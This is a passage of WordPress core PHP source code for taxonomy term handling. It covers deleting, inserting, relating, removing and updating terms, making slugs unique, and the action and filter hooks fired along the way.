term. $tax_object = get_taxonomy( $taxonomy ); foreach ( $tax_object->object_type as $object_type ) { clean_object_term_cache( $object_ids, $object_type ); } $term_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->termmeta WHERE term_id = %d ", $term ) ); foreach ( $term_meta_ids as $mid ) { delete_metadata_by_mid( 'term', $mid ); } /** * Fires immediately before a term taxonomy ID is deleted. * * @since 2.9.0 * * @param int $tt_id Term taxonomy ID. */ do_action( 'delete_term_taxonomy', $tt_id ); $wpdb->delete( $wpdb->term_taxonomy, array( 'term_taxonomy_id' => $tt_id ) ); /** * Fires immediately after a term taxonomy ID is deleted. * * @since 2.9.0 * * @param int $tt_id Term taxonomy ID. */ do_action( 'deleted_term_taxonomy', $tt_id ); // Delete the term if no taxonomies use it. if ( ! $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE term_id = %d", $term ) ) ) { $wpdb->delete( $wpdb->terms, array( 'term_id' => $term ) ); } clean_term_cache( $term, $taxonomy ); /** * Fires after a term is deleted from the database and the cache is cleaned. * * The {@see 'delete_$taxonomy'} hook is also available for targeting a specific * taxonomy. * * @since 2.5.0 * @since 4.5.0 Introduced the `$object_ids` argument. * * @param int $term Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. * @param WP_Term $deleted_term Copy of the already-deleted term. * @param array $object_ids List of term object IDs. */ do_action( 'delete_term', $term, $tt_id, $taxonomy, $deleted_term, $object_ids ); /** * Fires after a term in a specific taxonomy is deleted. * * The dynamic portion of the hook name, `$taxonomy`, refers to the specific * taxonomy the term belonged to. * * Possible hook names include: * * - `delete_category` * - `delete_post_tag` * * @since 2.3.0 * @since 4.5.0 Introduced the `$object_ids` argument. * * @param int $term Term ID. * @param int $tt_id Term taxonomy ID. * @param WP_Term $deleted_term Copy of the already-deleted term. * @param array $object_ids List of term object IDs. */ do_action( "delete_{$taxonomy}", $term, $tt_id, $deleted_term, $object_ids ); return true; } /** * Deletes one existing category. * * @since 2.0.0 * * @param int $cat_id Category term ID. * @return bool|int|WP_Error Returns true if completes delete action; false if term doesn't exist; * Zero on attempted deletion of default Category; WP_Error object is * also a possibility. */ function wp_delete_category( $cat_id ) { return wp_delete_term( $cat_id, 'category' ); } /** * Retrieves the terms associated with the given object(s), in the supplied taxonomies. * * @since 2.3.0 * @since 4.2.0 Added support for 'taxonomy', 'parent', and 'term_taxonomy_id' values of `$orderby`. * Introduced `$parent` argument. * @since 4.4.0 Introduced `$meta_query` and `$update_term_meta_cache` arguments. When `$fields` is 'all' or * 'all_with_object_id', an array of `WP_Term` objects will be returned. * @since 4.7.0 Refactored to use WP_Term_Query, and to support any WP_Term_Query arguments. * @since 6.3.0 Passing `update_term_meta_cache` argument value false by default resulting in get_terms() to not * prime the term meta cache. * * @param int|int[] $object_ids The ID(s) of the object(s) to retrieve. * @param string|string[] $taxonomies The taxonomy names to retrieve terms from. * @param array|string $args See WP_Term_Query::__construct() for supported arguments. * @return WP_Term[]|int[]|string[]|string|WP_Error Array of terms, a count thereof as a numeric string, * or WP_Error if any of the taxonomies do not exist. * See WP_Term_Query::get_terms() for more information. */ function wp_get_object_terms( $object_ids, $taxonomies, $args = array() ) { if ( empty( $object_ids ) || empty( $taxonomies ) ) { return array(); } if ( ! is_array( $taxonomies ) ) { $taxonomies = array( $taxonomies ); } foreach ( $taxonomies as $taxonomy ) { if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } } if ( ! is_array( $object_ids ) ) { $object_ids = array( $object_ids ); } $object_ids = array_map( 'intval', $object_ids ); $defaults = array( 'update_term_meta_cache' => false, ); $args = wp_parse_args( $args, $defaults ); /** * Filters arguments for retrieving object terms. * * @since 4.9.0 * * @param array $args An array of arguments for retrieving terms for the given object(s). * See {@see wp_get_object_terms()} for details. * @param int[] $object_ids Array of object IDs. * @param string[] $taxonomies Array of taxonomy names to retrieve terms from. */ $args = apply_filters( 'wp_get_object_terms_args', $args, $object_ids, $taxonomies ); /* * When one or more queried taxonomies is registered with an 'args' array, * those params override the `$args` passed to this function. */ $terms = array(); if ( count( $taxonomies ) > 1 ) { foreach ( $taxonomies as $index => $taxonomy ) { $t = get_taxonomy( $taxonomy ); if ( isset( $t->args ) && is_array( $t->args ) && array_merge( $args, $t->args ) != $args ) { unset( $taxonomies[ $index ] ); $terms = array_merge( $terms, wp_get_object_terms( $object_ids, $taxonomy, array_merge( $args, $t->args ) ) ); } } } else { $t = get_taxonomy( $taxonomies[0] ); if ( isset( $t->args ) && is_array( $t->args ) ) { $args = array_merge( $args, $t->args ); } } $args['taxonomy'] = $taxonomies; $args['object_ids'] = $object_ids; // Taxonomies registered without an 'args' param are handled here. if ( ! empty( $taxonomies ) ) { $terms_from_remaining_taxonomies = get_terms( $args ); // Array keys should be preserved for values of $fields that use term_id for keys. if ( ! empty( $args['fields'] ) && str_starts_with( $args['fields'], 'id=>' ) ) { $terms = $terms + $terms_from_remaining_taxonomies; } else { $terms = array_merge( $terms, $terms_from_remaining_taxonomies ); } } /** * Filters the terms for a given object or objects. * * @since 4.2.0 * * @param WP_Term[]|int[]|string[]|string $terms Array of terms or a count thereof as a numeric string. * @param int[] $object_ids Array of object IDs for which terms were retrieved. * @param string[] $taxonomies Array of taxonomy names from which terms were retrieved. * @param array $args Array of arguments for retrieving terms for the given * object(s). See wp_get_object_terms() for details. */ $terms = apply_filters( 'get_object_terms', $terms, $object_ids, $taxonomies, $args ); $object_ids = implode( ',', $object_ids ); $taxonomies = "'" . implode( "', '", array_map( 'esc_sql', $taxonomies ) ) . "'"; /** * Filters the terms for a given object or objects. * * The `$taxonomies` parameter passed to this filter is formatted as a SQL fragment. The * {@see 'get_object_terms'} filter is recommended as an alternative. * * @since 2.8.0 * * @param WP_Term[]|int[]|string[]|string $terms Array of terms or a count thereof as a numeric string. * @param string $object_ids Comma separated list of object IDs for which terms were retrieved. * @param string $taxonomies SQL fragment of taxonomy names from which terms were retrieved. * @param array $args Array of arguments for retrieving terms for the given * object(s). See wp_get_object_terms() for details. */ return apply_filters( 'wp_get_object_terms', $terms, $object_ids, $taxonomies, $args ); } /** * Adds a new term to the database. * * A non-existent term is inserted in the following sequence: * 1. The term is added to the term table, then related to the taxonomy. * 2. If everything is correct, several actions are fired. * 3. The 'term_id_filter' is evaluated. * 4. The term cache is cleaned. * 5. Several more actions are fired. * 6. An array is returned containing the `term_id` and `term_taxonomy_id`. * * If the 'slug' argument is not empty, then it is checked to see if the term * is invalid. If it is not a valid, existing term, it is added and the term_id * is given. * * If the taxonomy is hierarchical, and the 'parent' argument is not empty, * the term is inserted and the term_id will be given. * * Error handling: * If `$taxonomy` does not exist or `$term` is empty, * a WP_Error object will be returned. * * If the term already exists on the same hierarchical level, * or the term slug and name are not unique, a WP_Error object will be returned. * * @global wpdb $wpdb WordPress database abstraction object. * * @since 2.3.0 * * @param string $term The term name to add. * @param string $taxonomy The taxonomy to which to add the term. * @param array|string $args { * Optional. Array or query string of arguments for inserting a term. * * @type string $alias_of Slug of the term to make this term an alias of. * Default empty string. Accepts a term slug. * @type string $description The term description. Default empty string. * @type int $parent The id of the parent term. Default 0. * @type string $slug The term slug to use. Default empty string. * } * @return array|WP_Error { * An array of the new term data, WP_Error otherwise. * * @type int $term_id The new term ID. * @type int|string $term_taxonomy_id The new term taxonomy ID. Can be a numeric string. * } */ function wp_insert_term( $term, $taxonomy, $args = array() ) { global $wpdb; if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } /** * Filters a term before it is sanitized and inserted into the database. * * @since 3.0.0 * @since 6.1.0 The `$args` parameter was added. * * @param string|WP_Error $term The term name to add, or a WP_Error object if there's an error. * @param string $taxonomy Taxonomy slug. * @param array|string $args Array or query string of arguments passed to wp_insert_term(). */ $term = apply_filters( 'pre_insert_term', $term, $taxonomy, $args ); if ( is_wp_error( $term ) ) { return $term; } if ( is_int( $term ) && 0 === $term ) { return new WP_Error( 'invalid_term_id', __( 'Invalid term ID.' ) ); } if ( '' === trim( $term ) ) { return new WP_Error( 'empty_term_name', __( 'A name is required for this term.' ) ); } $defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => '', ); $args = wp_parse_args( $args, $defaults ); if ( (int) $args['parent'] > 0 && ! term_exists( (int) $args['parent'] ) ) { return new WP_Error( 'missing_parent', __( 'Parent term does not exist.' ) ); } $args['name'] = $term; $args['taxonomy'] = $taxonomy; // Coerce null description to strings, to avoid database errors. $args['description'] = (string) $args['description']; $args = sanitize_term( $args, $taxonomy, 'db' ); // expected_slashed ($name) $name = wp_unslash( $args['name'] ); $description = wp_unslash( $args['description'] ); $parent = (int) $args['parent']; // Sanitization could clean the name to an empty string that must be checked again. if ( '' === $name ) { return new WP_Error( 'invalid_term_name', __( 'Invalid term name.' ) ); } $slug_provided = ! empty( $args['slug'] ); if ( ! $slug_provided ) { $slug = sanitize_title( $name ); } else { $slug = $args['slug']; } $term_group = 0; if ( $args['alias_of'] ) { $alias = get_term_by( 'slug', $args['alias_of'], $taxonomy ); if ( ! empty( $alias->term_group ) ) { // The alias we want is already in a group, so let's use that one. $term_group = $alias->term_group; } elseif ( ! empty( $alias->term_id ) ) { /* * The alias is not in a group, so we create a new one * and add the alias to it. */ $term_group = $wpdb->get_var( "SELECT MAX(term_group) FROM $wpdb->terms" ) + 1; wp_update_term( $alias->term_id, $taxonomy, array( 'term_group' => $term_group, ) ); } } /* * Prevent the creation of terms with duplicate names at the same level of a taxonomy hierarchy, * unless a unique slug has been explicitly provided. */ $name_matches = get_terms( array( 'taxonomy' => $taxonomy, 'name' => $name, 'hide_empty' => false, 'parent' => $args['parent'], 'update_term_meta_cache' => false, ) ); /* * The `name` match in `get_terms()` doesn't differentiate accented characters, * so we do a stricter comparison here. */ $name_match = null; if ( $name_matches ) { foreach ( $name_matches as $_match ) { if ( strtolower( $name ) === strtolower( $_match->name ) ) { $name_match = $_match; break; } } } if ( $name_match ) { $slug_match = get_term_by( 'slug', $slug, $taxonomy ); if ( ! $slug_provided || $name_match->slug === $slug || $slug_match ) { if ( is_taxonomy_hierarchical( $taxonomy ) ) { $siblings = get_terms( array( 'taxonomy' => $taxonomy, 'get' => 'all', 'parent' => $parent, 'update_term_meta_cache' => false, ) ); $existing_term = null; $sibling_names = wp_list_pluck( $siblings, 'name' ); $sibling_slugs = wp_list_pluck( $siblings, 'slug' ); if ( ( ! $slug_provided || $name_match->slug === $slug ) && in_array( $name, $sibling_names, true ) ) { $existing_term = $name_match; } elseif ( $slug_match && in_array( $slug, $sibling_slugs, true ) ) { $existing_term = $slug_match; } if ( $existing_term ) { return new WP_Error( 'term_exists', __( 'A term with the name provided already exists with this parent.' ), $existing_term->term_id ); } } else { return new WP_Error( 'term_exists', __( 'A term with the name provided already exists in this taxonomy.' ), $name_match->term_id ); } } } $slug = wp_unique_term_slug( $slug, (object) $args ); $data = compact( 'name', 'slug', 'term_group' ); /** * Filters term data before it is inserted into the database. * * @since 4.7.0 * * @param array $data Term data to be inserted. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_insert_term(). */ $data = apply_filters( 'wp_insert_term_data', $data, $taxonomy, $args ); if ( false === $wpdb->insert( $wpdb->terms, $data ) ) { return new WP_Error( 'db_insert_error', __( 'Could not insert term into the database.' ), $wpdb->last_error ); } $term_id = (int) $wpdb->insert_id; // Seems unreachable. However, is used in the case that a term name is provided, which sanitizes to an empty string. if ( empty( $slug ) ) { $slug = sanitize_title( $slug, $term_id ); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edit_terms', $term_id, $taxonomy ); $wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) ); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edited_terms', $term_id, $taxonomy ); } $tt_id = $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id ) ); if ( ! empty( $tt_id ) ) { return array( 'term_id' => $term_id, 'term_taxonomy_id' => $tt_id, ); } if ( false === $wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent' ) + array( 'count' => 0 ) ) ) { return new WP_Error( 'db_insert_error', __( 'Could not insert term taxonomy into the database.' ), $wpdb->last_error ); } $tt_id = (int) $wpdb->insert_id; /* * Confidence check: if we just created a term with the same parent + taxonomy + slug but a higher term_id than * an existing term, then we have unwittingly created a duplicate term. Delete the dupe, and use the term_id * and term_taxonomy_id of the older term instead. Then return out of the function so that the "create" hooks * are not fired. */ $duplicate_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.term_id, t.slug, tt.term_taxonomy_id, tt.taxonomy FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON ( tt.term_id = t.term_id ) WHERE t.slug = %s AND tt.parent = %d AND tt.taxonomy = %s AND t.term_id < %d AND tt.term_taxonomy_id != %d", $slug, $parent, $taxonomy, $term_id, $tt_id ) ); /** * Filters the duplicate term check that takes place during term creation. * * Term parent + taxonomy + slug combinations are meant to be unique, and wp_insert_term() * performs a last-minute confirmation of this uniqueness before allowing a new term * to be created. Plugins with different uniqueness requirements may use this filter * to bypass or modify the duplicate-term check. * * @since 5.1.0 * * @param object $duplicate_term Duplicate term row from terms table, if found. * @param string $term Term being inserted. * @param string $taxonomy Taxonomy name. * @param array $args Arguments passed to wp_insert_term(). * @param int $tt_id term_taxonomy_id for the newly created term. */ $duplicate_term = apply_filters( 'wp_insert_term_duplicate_term_check', $duplicate_term, $term, $taxonomy, $args, $tt_id ); if ( $duplicate_term ) { $wpdb->delete( $wpdb->terms, array( 'term_id' => $term_id ) ); $wpdb->delete( $wpdb->term_taxonomy, array( 'term_taxonomy_id' => $tt_id ) ); $term_id = (int) $duplicate_term->term_id; $tt_id = (int) $duplicate_term->term_taxonomy_id; clean_term_cache( $term_id, $taxonomy ); return array( 'term_id' => $term_id, 'term_taxonomy_id' => $tt_id, ); } /** * Fires immediately after a new term is created, before the term cache is cleaned. * * The {@see 'create_$taxonomy'} hook is also available for targeting a specific * taxonomy. * * @since 2.3.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_insert_term(). */ do_action( 'create_term', $term_id, $tt_id, $taxonomy, $args ); /** * Fires after a new term is created for a specific taxonomy. * * The dynamic portion of the hook name, `$taxonomy`, refers * to the slug of the taxonomy the term was created for. * * Possible hook names include: * * - `create_category` * - `create_post_tag` * * @since 2.3.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param array $args Arguments passed to wp_insert_term(). */ do_action( "create_{$taxonomy}", $term_id, $tt_id, $args ); /** * Filters the term ID after a new term is created. * * @since 2.3.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param array $args Arguments passed to wp_insert_term(). */ $term_id = apply_filters( 'term_id_filter', $term_id, $tt_id, $args ); clean_term_cache( $term_id, $taxonomy ); /** * Fires after a new term is created, and after the term cache has been cleaned. * * The {@see 'created_$taxonomy'} hook is also available for targeting a specific * taxonomy. * * @since 2.3.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_insert_term(). */ do_action( 'created_term', $term_id, $tt_id, $taxonomy, $args ); /** * Fires after a new term in a specific taxonomy is created, and after the term * cache has been cleaned. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `created_category` * - `created_post_tag` * * @since 2.3.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param array $args Arguments passed to wp_insert_term(). */ do_action( "created_{$taxonomy}", $term_id, $tt_id, $args ); /** * Fires after a term has been saved, and the term cache has been cleared. * * The {@see 'saved_$taxonomy'} hook is also available for targeting a specific * taxonomy. * * @since 5.5.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. * @param bool $update Whether this is an existing term being updated. * @param array $args Arguments passed to wp_insert_term(). */ do_action( 'saved_term', $term_id, $tt_id, $taxonomy, false, $args ); /** * Fires after a term in a specific taxonomy has been saved, and the term * cache has been cleared. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `saved_category` * - `saved_post_tag` * * @since 5.5.0 * @since 6.1.0 The `$args` parameter was added. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param bool $update Whether this is an existing term being updated. * @param array $args Arguments passed to wp_insert_term(). */ do_action( "saved_{$taxonomy}", $term_id, $tt_id, false, $args ); return array( 'term_id' => $term_id, 'term_taxonomy_id' => $tt_id, ); } /** * Creates term and taxonomy relationships. * * Relates an object (post, link, etc.) to a term and taxonomy type. Creates the * term and taxonomy relationship if it doesn't already exist. Creates a term if * it doesn't exist (using the slug). * * A relationship means that the term is grouped in or belongs to the taxonomy. * A term has no meaning until it is given context by defining which taxonomy it * exists under. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $object_id The object to relate to. * @param string|int|array $terms A single term slug, single term ID, or array of either term slugs or IDs. * Will replace all existing related terms in this taxonomy. Passing an * empty array will remove all related terms. * @param string $taxonomy The context in which to relate the term to the object. * @param bool $append Optional. If false will delete difference of terms. Default false. * @return array|WP_Error Term taxonomy IDs of the affected terms or WP_Error on failure. */ function wp_set_object_terms( $object_id, $terms, $taxonomy, $append = false ) { global $wpdb; $object_id = (int) $object_id; if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } if ( empty( $terms ) ) { $terms = array(); } elseif ( ! is_array( $terms ) ) { $terms = array( $terms ); } if ( ! $append ) { $old_tt_ids = wp_get_object_terms( $object_id, $taxonomy, array( 'fields' => 'tt_ids', 'orderby' => 'none', 'update_term_meta_cache' => false, ) ); } else { $old_tt_ids = array(); } $tt_ids = array(); $new_tt_ids = array(); foreach ( (array) $terms as $term ) { if ( '' === trim( $term ) ) { continue; } $term_info = term_exists( $term, $taxonomy ); if ( ! $term_info ) { // Skip if a non-existent term ID is passed. if ( is_int( $term ) ) { continue; } $term_info = wp_insert_term( $term, $taxonomy ); } if ( is_wp_error( $term_info ) ) { return $term_info; } $tt_id = $term_info['term_taxonomy_id']; $tt_ids[] = $tt_id; if ( $wpdb->get_var( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id = %d", $object_id, $tt_id ) ) ) { continue; } /** * Fires immediately before an object-term relationship is added. * * @since 2.9.0 * @since 4.7.0 Added the `$taxonomy` parameter. * * @param int $object_id Object ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. */ do_action( 'add_term_relationship', $object_id, $tt_id, $taxonomy ); $wpdb->insert( $wpdb->term_relationships, array( 'object_id' => $object_id, 'term_taxonomy_id' => $tt_id, ) ); /** * Fires immediately after an object-term relationship is added. * * @since 2.9.0 * @since 4.7.0 Added the `$taxonomy` parameter. * * @param int $object_id Object ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. */ do_action( 'added_term_relationship', $object_id, $tt_id, $taxonomy ); $new_tt_ids[] = $tt_id; } if ( $new_tt_ids ) { wp_update_term_count( $new_tt_ids, $taxonomy ); } if ( ! $append ) { $delete_tt_ids = array_diff( $old_tt_ids, $tt_ids ); if ( $delete_tt_ids ) { $in_delete_tt_ids = "'" . implode( "', '", $delete_tt_ids ) . "'"; $delete_term_ids = $wpdb->get_col( $wpdb->prepare( "SELECT tt.term_id FROM $wpdb->term_taxonomy AS tt WHERE tt.taxonomy = %s AND tt.term_taxonomy_id IN ($in_delete_tt_ids)", $taxonomy ) ); $delete_term_ids = array_map( 'intval', $delete_term_ids ); $remove = wp_remove_object_terms( $object_id, $delete_term_ids, $taxonomy ); if ( is_wp_error( $remove ) ) { return $remove; } } } $t = get_taxonomy( $taxonomy ); if ( ! $append && isset( $t->sort ) && $t->sort ) { $values = array(); $term_order = 0; $final_tt_ids = wp_get_object_terms( $object_id, $taxonomy, array( 'fields' => 'tt_ids', 'update_term_meta_cache' => false, ) ); foreach ( $tt_ids as $tt_id ) { if ( in_array( (int) $tt_id, $final_tt_ids, true ) ) { $values[] = $wpdb->prepare( '(%d, %d, %d)', $object_id, $tt_id, ++$term_order ); } } if ( $values ) { if ( false === $wpdb->query( "INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . implode( ',', $values ) . ' ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)' ) ) { return new WP_Error( 'db_insert_error', __( 'Could not insert term relationship into the database.' ), $wpdb->last_error ); } } } wp_cache_delete( $object_id, $taxonomy . '_relationships' ); wp_cache_set_terms_last_changed(); /** * Fires after an object's terms have been set. * * @since 2.8.0 * * @param int $object_id Object ID. * @param array $terms An array of object term IDs or slugs. * @param array $tt_ids An array of term taxonomy IDs. * @param string $taxonomy Taxonomy slug. * @param bool $append Whether to append new terms to the old terms. * @param array $old_tt_ids Old array of term taxonomy IDs. */ do_action( 'set_object_terms', $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids ); return $tt_ids; } /** * Adds term(s) associated with a given object. * * @since 3.6.0 * * @param int $object_id The ID of the object to which the terms will be added. * @param string|int|array $terms The slug(s) or ID(s) of the term(s) to add. * @param array|string $taxonomy Taxonomy name. * @return array|WP_Error Term taxonomy IDs of the affected terms. */ function wp_add_object_terms( $object_id, $terms, $taxonomy ) { return wp_set_object_terms( $object_id, $terms, $taxonomy, true ); } /** * Removes term(s) associated with a given object. * * @since 3.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $object_id The ID of the object from which the terms will be removed. * @param string|int|array $terms The slug(s) or ID(s) of the term(s) to remove. * @param string $taxonomy Taxonomy name. * @return bool|WP_Error True on success, false or WP_Error on failure. */ function wp_remove_object_terms( $object_id, $terms, $taxonomy ) { global $wpdb; $object_id = (int) $object_id; if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } if ( ! is_array( $terms ) ) { $terms = array( $terms ); } $tt_ids = array(); foreach ( (array) $terms as $term ) { if ( '' === trim( $term ) ) { continue; } $term_info = term_exists( $term, $taxonomy ); if ( ! $term_info ) { // Skip if a non-existent term ID is passed. if ( is_int( $term ) ) { continue; } } if ( is_wp_error( $term_info ) ) { return $term_info; } $tt_ids[] = $term_info['term_taxonomy_id']; } if ( $tt_ids ) { $in_tt_ids = "'" . implode( "', '", $tt_ids ) . "'"; /** * Fires immediately before an object-term relationship is deleted. * * @since 2.9.0 * @since 4.7.0 Added the `$taxonomy` parameter. * * @param int $object_id Object ID. * @param array $tt_ids An array of term taxonomy IDs. * @param string $taxonomy Taxonomy slug. */ do_action( 'delete_term_relationships', $object_id, $tt_ids, $taxonomy ); $deleted = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id IN ($in_tt_ids)", $object_id ) ); wp_cache_delete( $object_id, $taxonomy . '_relationships' ); wp_cache_set_terms_last_changed(); /** * Fires immediately after an object-term relationship is deleted. * * @since 2.9.0 * @since 4.7.0 Added the `$taxonomy` parameter. * * @param int $object_id Object ID. * @param array $tt_ids An array of term taxonomy IDs. * @param string $taxonomy Taxonomy slug. */ do_action( 'deleted_term_relationships', $object_id, $tt_ids, $taxonomy ); wp_update_term_count( $tt_ids, $taxonomy ); return (bool) $deleted; } return false; } /** * Makes term slug unique, if it isn't already. * * The `$slug` has to be unique global to every taxonomy, meaning that one * taxonomy term can't have a matching slug with another taxonomy term. Each * slug has to be globally unique for every taxonomy. * * The way this works is that if the taxonomy that the term belongs to is * hierarchical and has a parent, it will append that parent to the $slug. * * If that still doesn't return a unique slug, then it tries to append a number * until it finds a number that is truly unique. * * The only purpose for `$term` is for appending a parent, if one exists. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $slug The string that will be tried for a unique slug. * @param object $term The term object that the `$slug` will belong to. * @return string Will return a true unique slug. */ function wp_unique_term_slug( $slug, $term ) { global $wpdb; $needs_suffix = true; $original_slug = $slug; // As of 4.1, duplicate slugs are allowed as long as they're in different taxonomies. if ( ! term_exists( $slug ) || get_option( 'db_version' ) >= 30133 && ! get_term_by( 'slug', $slug, $term->taxonomy ) ) { $needs_suffix = false; } /* * If the taxonomy supports hierarchy and the term has a parent, make the slug unique * by incorporating parent slugs. */ $parent_suffix = ''; if ( $needs_suffix && is_taxonomy_hierarchical( $term->taxonomy ) && ! empty( $term->parent ) ) { $the_parent = $term->parent; while ( ! empty( $the_parent ) ) { $parent_term = get_term( $the_parent, $term->taxonomy ); if ( is_wp_error( $parent_term ) || empty( $parent_term ) ) { break; } $parent_suffix .= '-' . $parent_term->slug; if ( ! term_exists( $slug . $parent_suffix ) ) { break; } if ( empty( $parent_term->parent ) ) { break; } $the_parent = $parent_term->parent; } } // If we didn't get a unique slug, try appending a number to make it unique. /** * Filters whether the proposed unique term slug is bad. * * @since 4.3.0 * * @param bool $needs_suffix Whether the slug needs to be made unique with a suffix. * @param string $slug The slug. * @param object $term Term object. */ if ( apply_filters( 'wp_unique_term_slug_is_bad_slug', $needs_suffix, $slug, $term ) ) { if ( $parent_suffix ) { $slug .= $parent_suffix; } if ( ! empty( $term->term_id ) ) { $query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s AND term_id != %d", $slug, $term->term_id ); } else { $query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $slug ); } if ( $wpdb->get_var( $query ) ) { // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $num = 2; do { $alt_slug = $slug . "-$num"; ++$num; $slug_check = $wpdb->get_var( $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug ) ); } while ( $slug_check ); $slug = $alt_slug; } } /** * Filters the unique term slug. * * @since 4.3.0 * * @param string $slug Unique term slug. * @param object $term Term object. * @param string $original_slug Slug originally passed to the function for testing. */ return apply_filters( 'wp_unique_term_slug', $slug, $term, $original_slug ); } /** * Updates term based on arguments provided. * * The `$args` will indiscriminately override all values with the same field name. * Care must be taken to not override important information need to update or * update will fail (or perhaps create a new term, neither would be acceptable). * * Defaults will set 'alias_of', 'description', 'parent', and 'slug' if not * defined in `$args` already. * * 'alias_of' will create a term group, if it doesn't already exist, and * update it for the `$term`. * * If the 'slug' argument in `$args` is missing, then the 'name' will be used. * If you set 'slug' and it isn't unique, then a WP_Error is returned. * If you don't pass any slug, then a unique one will be created. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $term_id The ID of the term. * @param string $taxonomy The taxonomy of the term. * @param array $args { * Optional. Array of arguments for updating a term. * * @type string $alias_of Slug of the term to make this term an alias of. * Default empty string. Accepts a term slug. * @type string $description The term description. Default empty string. * @type int $parent The id of the parent term. Default 0. * @type string $slug The term slug to use. Default empty string. * } * @return array|WP_Error An array containing the `term_id` and `term_taxonomy_id`, * WP_Error otherwise. */ function wp_update_term( $term_id, $taxonomy, $args = array() ) { global $wpdb; if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } $term_id = (int) $term_id; // First, get all of the original args. $term = get_term( $term_id, $taxonomy ); if ( is_wp_error( $term ) ) { return $term; } if ( ! $term ) { return new WP_Error( 'invalid_term', __( 'Empty Term.' ) ); } $term = (array) $term->data; // Escape data pulled from DB. $term = wp_slash( $term ); // Merge old and new args with new args overwriting old ones. $args = array_merge( $term, $args ); $defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => '', ); $args = wp_parse_args( $args, $defaults ); $args = sanitize_term( $args, $taxonomy, 'db' ); $parsed_args = $args; // expected_slashed ($name) $name = wp_unslash( $args['name'] ); $description = wp_unslash( $args['description'] ); $parsed_args['name'] = $name; $parsed_args['description'] = $description; if ( '' === trim( $name ) ) { return new WP_Error( 'empty_term_name', __( 'A name is required for this term.' ) ); } if ( (int) $parsed_args['parent'] > 0 && ! term_exists( (int) $parsed_args['parent'] ) ) { return new WP_Error( 'missing_parent', __( 'Parent term does not exist.' ) ); } $empty_slug = false; if ( empty( $args['slug'] ) ) { $empty_slug = true; $slug = sanitize_title( $name ); } else { $slug = $args['slug']; } $parsed_args['slug'] = $slug; $term_group = isset( $parsed_args['term_group'] ) ? $parsed_args['term_group'] : 0; if ( $args['alias_of'] ) { $alias = get_term_by( 'slug', $args['alias_of'], $taxonomy ); if ( ! empty( $alias->term_group ) ) { // The alias we want is already in a group, so let's use that one. $term_group = $alias->term_group; } elseif ( ! empty( $alias->term_id ) ) { /* * The alias is not in a group, so we create a new one * and add the alias to it. */ $term_group = $wpdb->get_var( "SELECT MAX(term_group) FROM $wpdb->terms" ) + 1; wp_update_term( $alias->term_id, $taxonomy, array( 'term_group' => $term_group, ) ); } $parsed_args['term_group'] = $term_group; } /** * Filters the term parent. * * Hook to this filter to see if it will cause a hierarchy loop. * * @since 3.1.0 * * @param int $parent_term 